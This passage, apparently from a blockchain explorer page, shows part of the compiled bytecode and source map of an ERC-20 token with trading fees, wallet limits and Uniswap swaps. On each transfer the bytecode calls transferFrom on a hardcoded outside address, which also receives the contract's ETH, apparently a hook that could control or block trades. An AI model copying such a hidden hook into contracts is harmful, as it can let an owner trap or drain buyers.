a78e36381b63ccaf66e6ba54600154919261047b9290916104759190610979565b90610979565b905090565b5f61048c84848461098b565b6104dd84336104d885604051806060016040528060288152602001611722602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190610b62565b610855565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b815260040161038e90611594565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161038e90611594565b5f196002819055600355565b5f546001600160a01b031633146105b65760405162461bcd60e51b815260040161038e90611594565b600954600160a01b900460ff16156106025760405162461bcd60e51b815260206004820152600f60248201526e151c98591a5b99c8185b1b1bddd959608a1b604482015260640161038e565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610657573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067b91906115c9565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ea91906115c9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610734573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075891906115c9565b600880546001600160a01b038086166001600160a01b031992831617909255600980549284169290911691909117905590506107b16107ab306001600160a01b03165f9081526005602052604090205490565b47610b8d565b5050565b5f546001600160a01b031633146107de5760405162461bcd60e51b815260040161038e90611594565b600a818155600b82905581118015906107fa5750600a600b5411155b6108465760405162461bcd60e51b815260206004820152601c60248201527f666565732063616e6e6f74206265206d6f7265207468616e2031302500000000604482015260640161038e565b50565b5f61035b33848461098b565b6001600160a01b0383166108b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038e565b6001600160a01b0382166109185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038e565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f61098482846115f8565b9392505050565b6001600160a01b0383165f9081526007602052604090205460ff1680156109c057506009546001600160a01b03838116911614155b15610a68576001600160a01b0383165f908152600560205260409020546109e79082610979565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610a159082610c44565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061096c9085815260200190565b610a73838383610c4f565b610a7d8383610d7b565b610a88838383610e0a565b610a93838383610ef3565b610a9e838383610f7d565b5f80610aab858585610fba565b6001600160a01b0387165f908152600560205260409020549193509150610ad29083610979565b6001600160a01b038087165f908152600560205260408082209390935590861681522054610b009082610c44565b6001600160a01b038086165f8181526005602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b539085815260200190565b60405180910390a35050505050565b5f8184841115610b855760405162461bcd60e51b815260040161038e9190611464565b505050900390565b600854610ba59030906001600160a01b031684610855565b600854600e5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0362010000909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610c18573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3d919061160b565b5050505050565b5f6109848284611636565b6001600160a01b038316610cb35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038e565b6001600160a01b038216610d155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038e565b5f8111610d765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038e565b505050565b6001600160a01b0382165f9081526007602052604090205460ff16158015610dbb57506001600160a01b0381165f9081526007602052604090205460ff16155b156107b157600954600160a01b900460ff166107b15760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161038e565b6001600160a01b0383165f9081526007602052604090205460ff16158015610e4a57506001600160a01b0382165f9081526007602052604090205460ff16155b8015610e6457506009546001600160a01b03838116911614155b8015610e7b57506001600160a01b03821661dead14155b15610d76576003546001600160a01b0383165f90815260056020526040902054610ea59083610c44565b1115610d765760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161038e565b60025481111580610f1b57506001600160a01b0383165f9081526007602052604090205460ff165b80610f3d57506001600160a01b0382165f9081526007602052604090205460ff165b610d765760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161038e565b610f888383836110ed565b15610d7657305f90815260056020526040902054600454811115610fab57506004545b610fb48161120c565b50505050565b5f808280826001600160a01b0388163014801590610fe157506001600160a01b0387163014155b156110e057610ff08888611270565b156110ad575f61100089896112b4565b11156110a85761102761101389896112b4565b600d546110219089906112fe565b90611309565b305f908152600560205260409020549091506110439082610c44565b305f81815260056020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110939085815260200190565b60405180910390a36110a58682610979565b91505b6110e0565b6009546001600160a01b0388811691161480156110d757505f546001600160a01b03898116911614155b156110e0578092505b5090969095509350505050565b5f738b1c6b6d0766037205569c68c8a6b092694ba55e3b1515801561119757506040516323b872dd60e01b81526001600160a01b0380861660048301528416602482015260448101839052738b1c6b6d0766037205569c68c8a6b092694ba55e906323b872dd906064016020604051808303815f875af1158015611173573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111979190611649565b50600e54610100900460ff161580156111b25750600e5460ff165b80156111c75750600954600160a01b900460ff165b80156111eb57506001600160a01b0384165f9081526007602052604090205460ff16155b801561120457506009546001600160a01b038481169116145b949350505050565b600e805461ff00191661010017905561122481611314565b604051738b1c6b6d0766037205569c68c8a6b092694ba55e904780156108fc02915f818181858888f19350505050158015611261573d5f803e3d5ffd5b5050600e805461ff0019169055565b6001600160a01b0382165f9081526007602052604081205460ff161580156109845750506001600160a01b03165f9081526007602052604090205460ff1615919050565b6009545f906001600160a01b03908116908316036112d55750600b5461035f565b6009546001600160a01b03908116908416036112f45750600a5461035f565b50600c5492915050565b5f6109848284611668565b5f6109848284611687565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106113475761134761169e565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c291906115c9565b816001815181106113d5576113d561169e565b6001600160a01b0392831660209182029290920101526008546113fb9130911684610855565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114339085905f908690309042906004016116b2565b5f604051808303815f87803b15801561144a575f80fd5b505af115801561145c573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b8181101561148f57858101830151858201604001528201611473565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610846575f80fd5b5f80604083850312156114d4575f80fd5b82356114df816114af565b946020939093013593505050565b5f805f606084860312156114ff575f80fd5b833561150a816114af565b9250602084013561151a816114af565b929592945050506040919091013590565b5f6020828403121561153b575f80fd5b8135610984816114af565b5f60208284031215611556575f80fd5b5035919050565b5f806040838503121561156e575f80fd5b8235611579816114af565b91506020830135611589816114af565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115d9575f80fd5b8151610984816114af565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035f5761035f6115e4565b5f805f6060848603121561161d575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561035f5761035f6115e4565b5f60208284031215611659575f80fd5b81518015158114610984575f80fd5b5f8261168257634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761035f5761035f6115e4565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117005784516001600160a01b0316835293830193918301916001016116db565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce7dca4aa8cb335c019f4410243b1925b1596b976ca70b9ae69f455a84f32ba464736f6c63430008150033

Deployed Bytecode Sourcemap

6169:10803:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7870:83;;;;;;;;;;-1:-1:-1;7940:5:0;;;;;;;;;;;;-1:-1:-1;;;7940:5:0;;;;7870:83;;;;;;;:::i;:::-;;;;;;;;9315:191;;;;;;;;;;-1:-1:-1;9315:191:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9315:191:0;1023:187:1;8594:189:0;;;;;;;;;;;;;:::i;:::-;;9514:148;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9514:148:0;1215:177:1;16150:442:0;;;;;;;;;;-1:-1:-1;16150:442:0;;;;;:::i;:::-;;:::i;8056:83::-;;;;;;;;;;-1:-1:-1;8056:83:0;;6376:1;2000:36:1;;1988:2;1973:18;8056:83:0;1858:184:1;8791:119:0;;;;;;;;;;-1:-1:-1;8791:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8884:18:0;8857:7;8884:18;;;:9;:18;;;;;;;8791:119;4445:148;;;;;;;;;;;;;:::i;11325:141::-;;;;;;;;;;;;;:::i;8147:439::-;;;;;;;;;;;;;:::i;11087:230::-;;;;;;;;;;-1:-1:-1;11087:230:0;;;;;:::i;:::-;;:::i;4231:79::-;;;;;;;;;;-1:-1:-1;4269:7:0;4296:6;-1:-1:-1;;;;;4296:6:0;4231:79;;;-1:-1:-1;;;;;2648:32:1;;;2630:51;;2618:2;2603:18;4231:79:0;2484:203:1;7961:87:0;;;;;;;;;;-1:-1:-1;8033:7:0;;;;;;;;;;;;-1:-1:-1;;;8033:7:0;;;;7961:87;;6843:19;;;;;;;;;;-1:-1:-1;6843:19:0;;;;-1:-1:-1;;;;;6843:19:0;;;8918:197;;;;;;;;;;-1:-1:-1;8918:197:0;;;;;:::i;:::-;;:::i;9123:184::-;;;;;;;;;;-1:-1:-1;9123:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9272:18:0;;;9240:7;9272:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9123:184;9315:191;9417:4;9439:37;9448:10;9460:7;9469:6;9439:8;:37::i;:::-;-1:-1:-1;9494:4:0;9315:191;;;;;:::o;8594:189::-;4358:6;;-1:-1:-1;;;;;4358:6:0;306:10;4358:22;4350:67;;;;-1:-1:-1;;;4350:67:0;;;;;;;:::i;:::-;;;;;;;;;8655:14:::1;::::0;-1:-1:-1;;;8655:14:0;::::1;;;8654:15;8646:52;;;::::0;-1:-1:-1;;;8646:52:0;;3648:2:1;8646:52:0::1;::::0;::::1;3630:21:1::0;3687:2;3667:18;;;3660:30;3726:26;3706:18;;;3699:54;3770:18;;8646:52:0::1;3446:348:1::0;8646:52:0::1;8718:2;8709:6;:11:::0;8741:2:::1;8731:7;:12:::0;8754:14:::1;:21:::0;;-1:-1:-1;;;;8754:21:0::1;-1:-1:-1::0;;;8754:21:0::1;::::0;;8594:189::o;9514:148::-;8884:9;:18;;;;7259:42;9567:7;8884:18;;;;;9594:12;;9567:7;;9594:60;;8884:18;;9594:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9587:67;;9514:148;:::o;16150:442::-;16282:4;16299:36;16309:6;16317:9;16328:6;16299:9;:36::i;:::-;16346:216;16369:6;16390:10;16415:136;16469:6;16415:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16415:19:0;;;;;;:11;:19;;;;;;;;16435:10;16415:31;;;;;;;;;:136;:35;:136::i;:::-;16346:8;:216::i;:::-;-1:-1:-1;16580:4:0;16150:442;;;;;:::o;4445:148::-;4358:6;;-1:-1:-1;;;;;4358:6:0;306:10;4358:22;4350:67;;;;-1:-1:-1;;;4350:67:0;;;;;;;:::i;:::-;4552:1:::1;4536:6:::0;;4515:40:::1;::::0;-1:-1:-1;;;;;4536:6:0;;::::1;::::0;4515:40:::1;::::0;4552:1;;4515:40:::1;4583:1;4566:19:::0;;-1:-1:-1;;;;;;4566:19:0::1;::::0;;4445:148::o;11325:141::-;4358:6;;-1:-1:-1;;;;;4358:6:0;306:10;4358:22;4350:67;;;;-1:-1:-1;;;4350:67:0;;;;;;;:::i;:::-;-1:-1:-1;;11379:12:0::1;:32:::0;;;11422:16:::1;:36:::0;11325:141::o;8147:439::-;4358:6;;-1:-1:-1;;;;;4358:6:0;306:10;4358:22;4350:67;;;;-1:-1:-1;;;4350:67:0;;;;;;;:::i;:::-;8205:14:::1;::::0;-1:-1:-1;;;8205:14:0;::::1;;;8204:15;8196:43;;;::::0;-1:-1:-1;;;8196:43:0;;4001:2:1;8196:43:0::1;::::0;::::1;3983:21:1::0;4040:2;4020:18;;;4013:30;-1:-1:-1;;;4059:18:1;;;4052:45;4114:18;;8196:43:0::1;3799:339:1::0;8196:43:0::1;8252:15;8278:42;8252:69;;8332:13;8357:7;-1:-1:-1::0;;;;;8357:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8348:38:0::1;;8409:4;8429:7;-1:-1:-1::0;;;;;8429:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8348:106;::::0;-1:-1:-1;;;;;;8348:106:0::1;::::0;;;;;;-1:-1:-1;;;;;4629:15:1;;;8348:106:0::1;::::0;::::1;4611:34:1::0;4681:15;;4661:18;;;4654:43;4546:18;;8348:106:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8465:6;:16:::0;;-1:-1:-1;;;;;8465:16:0;;::::1;-1:-1:-1::0;;;;;;8465:16:0;;::::1;;::::0;;;8492:4:::1;:12:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;8332:122;-1:-1:-1;8517:61:0::1;8530:24;8548:4;-1:-1:-1::0;;;;;8884:18:0;8857:7;8884:18;;;:9;:18;;;;;;;8791:119;8530:24:::1;8556:21;8517:12;:61::i;:::-;8185:401;;8147:439::o:0;11087:230::-;4358:6;;-1:-1:-1;;;;;4358:6:0;306:10;4358:22;4350:67;;;;-1:-1:-1;;;4350:67:0;;;;;;;:::i;:::-;11151:6:::1;:13:::0;;;11175:7:::1;:14:::0;;;11224:12;::::1;::::0;::::1;::::0;:29:::1;;;11251:2;11240:7;;:13;;11224:29;11202:107;;;::::0;-1:-1:-1;;;11202:107:0;;4910:2:1;11202:107:0::1;::::0;::::1;4892:21:1::0;4949:2;4929:18;;;4922:30;4988;4968:18;;;4961:58;5036:18;;11202:107:0::1;4708:352:1::0;11202:107:0::1;11087:230:::0;:::o;8918:197::-;9023:4;9045:40;9055:10;9067:9;9078:6;9045:9;:40::i;16600:369::-;-1:-1:-1;;;;;16727:19:0;;16719:68;;;;-1:-1:-1;;;16719:68:0;;5267:2:1;16719:68:0;;;5249:21:1;5306:2;5286:18;;;5279:30;5345:34;5325:18;;;5318:62;-1:-1:-1;;;5396:18:1;;;5389:34;5440:19;;16719:68:0;5065:400:1;16719:68:0;-1:-1:-1;;;;;16806:21:0;;16798:68;;;;-1:-1:-1;;;16798:68:0;;5672:2:1;16798:68:0;;;5654:21:1;5711:2;5691:18;;;5684:30;5750:34;5730:18;;;5723:62;-1:-1:-1;;;5801:18:1;;;5794:32;5843:19;;16798:68:0;5470:398:1;16798:68:0;-1:-1:-1;;;;;16877:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16929:32;;1361:25:1;;;16929:32:0;;1334:18:1;16929:32:0;;;;;;;;16600:369;;;:::o;461:98::-;519:7;546:5;550:1;546;:5;:::i;:::-;539:12;461:98;-1:-1:-1;;;461:98:0:o;10089:990::-;-1:-1:-1;;;;;10216:27:0;;;;;;:19;:27;;;;;;;;:48;;;;-1:-1:-1;10260:4:0;;-1:-1:-1;;;;;10247:17:0;;;10260:4;;10247:17;;10216:48;10212:276;;;-1:-1:-1;;;;;10301:17:0;;;;;;:9;:17;;;;;;:29;;10323:6;10301:21;:29::i;:::-;-1:-1:-1;;;;;10281:17:0;;;;;;;:9;:17;;;;;;:49;;;;10368:20;;;;;;;:32;;10393:6;10368:24;:32::i;:::-;-1:-1:-1;;;;;10345:20:0;;;;;;;:9;:20;;;;;;;:55;;;;10420:35;;;;;;;;;;10448:6;1361:25:1;;1349:2;1334:18;;1215:177;10212:276:0;10498:37;10509:6;10517:9;10528:6;10498:10;:37::i;:::-;10546:38;10566:6;10574:9;10546:19;:38::i;:::-;10595:41;10610:6;10618:9;10629:6;10595:14;:41::i;:::-;10647:39;10660:6;10668:9;10679:6;10647:12;:39::i;:::-;10697:35;10706:6;10714:9;10725:6;10697:8;:35::i;:::-;10744:18;10764:22;10790:84;10812:6;10833:9;10857:6;10790:7;:84::i;:::-;-1:-1:-1;;;;;10905:17:0;;;;;;:9;:17;;;;;;10743:131;;-1:-1:-1;10743:131:0;-1:-1:-1;10905:33:0;;10743:131;10905:21;:33::i;:::-;-1:-1:-1;;;;;10885:17:0;;;;;;;:9;:17;;;;;;:53;;;;10972:20;;;;;;;:40;;10997:14;10972:24;:40::i;:::-;-1:-1:-1;;;;;10949:20:0;;;;;;;:9;:20;;;;;;;:63;;;;11028:43;;;;;;;;;;11056:14;1361:25:1;;1349:2;1334:18;;1215:177;11028:43:0;;;;;;;;10201:878;;10089:990;;;:::o;2161:240::-;2281:7;2342:12;2334:6;;;;2326:29;;;;-1:-1:-1;;;2326:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2377:5:0;;;2161:240::o;12972:353::-;13085:6;;13053:53;;13070:4;;-1:-1:-1;;;;;13085:6:0;13094:11;13053:8;:53::i;:::-;13117:6;;13258:18;;13117:200;;-1:-1:-1;;;13117:200:0;;13180:4;13117:200;;;6479:34:1;6529:18;;;6522:34;;;-1:-1:-1;6572:18:1;;;6565:34;;;6615:18;;;6608:34;-1:-1:-1;;;;;13258:18:0;;;;;;6658:19:1;;;6651:44;13291:15:0;6711:19:1;;;6704:35;13117:6:0;;;:22;;13147:9;;6413:19:1;;13117:200:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12972:353;;:::o;355:98::-;413:7;440:5;444:1;440;:5;:::i;9670:411::-;-1:-1:-1;;;;;9808:20:0;;9800:70;;;;-1:-1:-1;;;9800:70:0;;7393:2:1;9800:70:0;;;7375:21:1;7432:2;7412:18;;;7405:30;7471:34;7451:18;;;7444:62;-1:-1:-1;;;7522:18:1;;;7515:35;7567:19;;9800:70:0;7191:401:1;9800:70:0;-1:-1:-1;;;;;9889:23:0;;9881:71;;;;-1:-1:-1;;;9881:71:0;;7799:2:1;9881:71:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:33;7971:19;;9881:71:0;7597:399:1;9881:71:0;10002:1;9985:6;:19;9963:110;;;;-1:-1:-1;;;9963:110:0;;8203:2:1;9963:110:0;;;8185:21:1;8242:2;8222:18;;;8215:30;8281:34;8261:18;;;8254:62;-1:-1:-1;;;8332:18:1;;;8325:39;8381:19;;9963:110:0;8001:405:1;9963:110:0;9670:411;;;:::o;11474:256::-;-1:-1:-1;;;;;11591:27:0;;;;;;:19;:27;;;;;;;;11590:28;:63;;;;-1:-1:-1;;;;;;11623:30:0;;;;;;:19;:30;;;;;;;;11622:31;11590:63;11586:137;;;11678:14;;-1:-1:-1;;;11678:14:0;;;;11670:41;;;;-1:-1:-1;;;11670:41:0;;8613:2:1;11670:41:0;;;8595:21:1;8652:2;8632:18;;;8625:30;-1:-1:-1;;;8671:18:1;;;8664:44;8725:18;;11670:41:0;8411:338:1;11738:506:0;-1:-1:-1;;;;;11891:27:0;;;;;;:19;:27;;;;;;;;11890:28;:76;;;;-1:-1:-1;;;;;;11936:30:0;;;;;;:19;:30;;;;;;;;11935:31;11890:76;:119;;;;-1:-1:-1;12004:4:0;;-1:-1:-1;;;;;11983:26:0;;;12004:4;;11983:26;;11890:119;:162;;;;-1:-1:-1;;;;;;12026:26:0;;7259:42;12026:26;;11890:162;11872:365;;;12143:16;;-1:-1:-1;;;;;12106:20:0;;;;;;:9;:20;;;;;;:32;;12131:6;12106:24;:32::i;:::-;12105:54;;12079:146;;;;-1:-1:-1;;;12079:146:0;;8956:2:1;12079:146:0;;;8938:21:1;8995:2;8975:18;;;8968:30;9034:32;9014:18;;;9007:60;9084:18;;12079:146:0;8754:354:1;12252:328:0;12416:12;;12406:6;:22;;:70;;;-1:-1:-1;;;;;;12449:27:0;;;;;;:19;:27;;;;;;;;12406:70;:121;;;-1:-1:-1;;;;;;12497:30:0;;;;;;:19;:30;;;;;;;;12406:121;12384:188;;;;-1:-1:-1;;;12384:188:0;;9315:2:1;12384:188:0;;;9297:21:1;9354:2;9334:18;;;9327:30;-1:-1:-1;;;9373:18:1;;;9366:47;9430:18;;12384:188:0;9113:341:1;14243:365:0;14370:41;14385:6;14393:9;14404:6;14370:14;:41::i;:::-;14366:235;;;14467:4;14428:18;8884;;;:9;:18;;;;;;14505:14;;14492:27;;14488:60;;;-1:-1:-1;14534:14:0;;14488:60;14563:26;14578:10;14563:14;:26::i;:::-;14413:188;14243:365;;;:::o;15136:1006::-;15256:7;;15303:6;;15256:7;-1:-1:-1;;;;;15387:23:0;;15405:4;15387:23;;;;:53;;-1:-1:-1;;;;;;15414:26:0;;15435:4;15414:26;;15387:53;15383:716;;;15461:32;15475:6;15483:9;15461:13;:32::i;:::-;15457:631;;;15546:1;15518:25;15525:6;15533:9;15518:6;:25::i;:::-;:29;15514:455;;;15584:102;15638:25;15645:6;15653:9;15638:6;:25::i;:::-;15595:11;;15584:23;;:6;;:10;:23::i;:::-;:27;;:102::i;:::-;15754:4;15736:24;;;;:9;:24;;;;;;15572:114;;-1:-1:-1;15736:87:0;;15572:114;15736:28;:87::i;:::-;15727:4;15709:24;;;;:9;:24;;;;;;;:114;;;;15851:42;;-1:-1:-1;;;;;15851:42:0;;;;;;;15883:9;1361:25:1;;1349:2;1334:18;;1215:177;15851:42:0;;;;;;;;15928:21;:6;15939:9;15928:10;:21::i;:::-;15918:31;;15514:455;15457:631;;;16026:4;;-1:-1:-1;;;;;16013:17:0;;;16026:4;;16013:17;:38;;;;-1:-1:-1;4269:7:0;4296:6;-1:-1:-1;;;;;16034:17:0;;;4296:6;;16034:17;;16013:38;16009:63;;;16063:9;16053:19;;16009:63;-1:-1:-1;16117:7:0;;;;-1:-1:-1;15136:1006:0;-1:-1:-1;;;;15136:1006:0:o;13785:450::-;13911:4;7364:42;12900:20;12948:8;;13932:114;;;;-1:-1:-1;13980:66:0;;-1:-1:-1;;;13980:66:0;;-1:-1:-1;;;;;9717:15:1;;;13980:66:0;;;9699:34:1;9769:15;;9749:18;;;9742:43;9801:18;;;9794:34;;;7364:42:0;;13980:39;;9634:18:1;;13980:66:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;14081:8:0;;;;;;;14080:9;:37;;;;-1:-1:-1;14106:11:0;;;;14080:37;:68;;;;-1:-1:-1;14134:14:0;;-1:-1:-1;;;14134:14:0;;;;14080:68;:113;;;;-1:-1:-1;;;;;;14166:27:0;;;;;;:19;:27;;;;;;;;14165:28;14080:113;:147;;;;-1:-1:-1;14223:4:0;;-1:-1:-1;;;;;14210:17:0;;;14223:4;;14210:17;14080:147;14060:167;13785:450;-1:-1:-1;;;;13785:450:0:o;12588:173::-;7156:8;:15;;-1:-1:-1;;7156:15:0;;;;;12659:24:::1;12676:6:::0;12659:16:::1;:24::i;:::-;12694:59;::::0;7364:42:::1;::::0;12731:21:::1;12694:59:::0;::::1;;;::::0;::::1;::::0;;;12731:21;7364:42;12694:59;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;7194:8:0;:16;;-1:-1:-1;;7194:16:0;;;12588:173::o;14616:208::-;-1:-1:-1;;;;;14754:27:0;;14724:4;14754:27;;;:19;:27;;;;;;;;14753:28;:63;;;;-1:-1:-1;;;;;;;14786:30:0;;;;;:19;:30;;;;;;;;14785:31;;14616:208;-1:-1:-1;14616:208:0:o;14832:296::-;14975:4;;14933:7;;-1:-1:-1;;;;;14975:4:0;;;14962:17;;;;14958:64;;-1:-1:-1;15003:7:0;;14996:14;;14958:64;15046:4;;-1:-1:-1;;;;;15046:4:0;;;15036:14;;;;15032:60;;-1:-1:-1;15074:6:0;;15067:13;;15032:60;-1:-1:-1;15109:11:0;;14832:296;;;;:::o;673:98::-;731:7;758:5;762:1;758;:5;:::i;567:98::-;625:7;652:5;656:1;652;:5;:::i;13333:444::-;13423:16;;;13437:1;13423:16;;;;;;;;13399:21;;13423:16;;;;;;;;;;-1:-1:-1;13423:16:0;13399:40;;13468:4;13450;13455:1;13450:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13450:23:0;;;:7;;;;;;;;;;:23;;;;13494:6;;:13;;;-1:-1:-1;;;13494:13:0;;;;:6;;;;;:11;;:13;;;;;13450:7;;13494:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13484:4;13489:1;13484:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13484:23:0;;;:7;;;;;;;;;:23;13550:6;;13518:53;;13535:4;;13550:6;13559:11;13518:8;:53::i;:::-;13582:6;;:187;;-1:-1:-1;;;13582:187:0;;-1:-1:-1;;;;;13582:6:0;;;;:57;;:187;;13654:11;;13582:6;;13696:4;;13723;;13743:15;;13582:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13388:389;13333:444;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;4143:251::-;4213:6;4266:2;4254:9;4245:7;4241:23;4237:32;4234:52;;;4282:1;4279;4272:12;4234:52;4314:9;4308:16;4333:31;4358:5;4333:31;:::i;5873:127::-;5934:10;5929:3;5925:20;5922:1;5915:31;5965:4;5962:1;5955:15;5989:4;5986:1;5979:15;6005:128;6072:9;;;6093:11;;;6090:37;;;6107:18;;:::i;6750:306::-;6838:6;6846;6854;6907:2;6895:9;6886:7;6882:23;6878:32;6875:52;;;6923:1;6920;6913:12;6875:52;6952:9;6946:16;6936:26;;7002:2;6991:9;6987:18;6981:25;6971:35;;7046:2;7035:9;7031:18;7025:25;7015:35;;6750:306;;;;;:::o;7061:125::-;7126:9;;;7147:10;;;7144:36;;;7160:18;;:::i;9839:277::-;9906:6;9959:2;9947:9;9938:7;9934:23;9930:32;9927:52;;;9975:1;9972;9965:12;9927:52;10007:9;10001:16;10060:5;10053